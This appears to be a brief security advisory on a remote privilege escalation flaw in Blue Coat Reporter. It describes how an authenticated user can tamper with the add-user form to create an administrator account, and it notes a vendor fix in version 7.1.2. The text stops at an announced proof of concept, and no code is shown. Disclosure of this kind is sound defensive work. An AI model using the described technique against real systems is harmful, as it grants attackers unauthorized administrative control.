Blue Coat Reporter is prone to a remote privilege escalation vulnerability. This issue is due to a failure in the application to properly authenticate a user prior to permitting access to administrator functions.

A remote authenticated user can manipulate the form for adding new users and create a new user with administrator access.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application. 

The following proof of concept is available using the user account test:
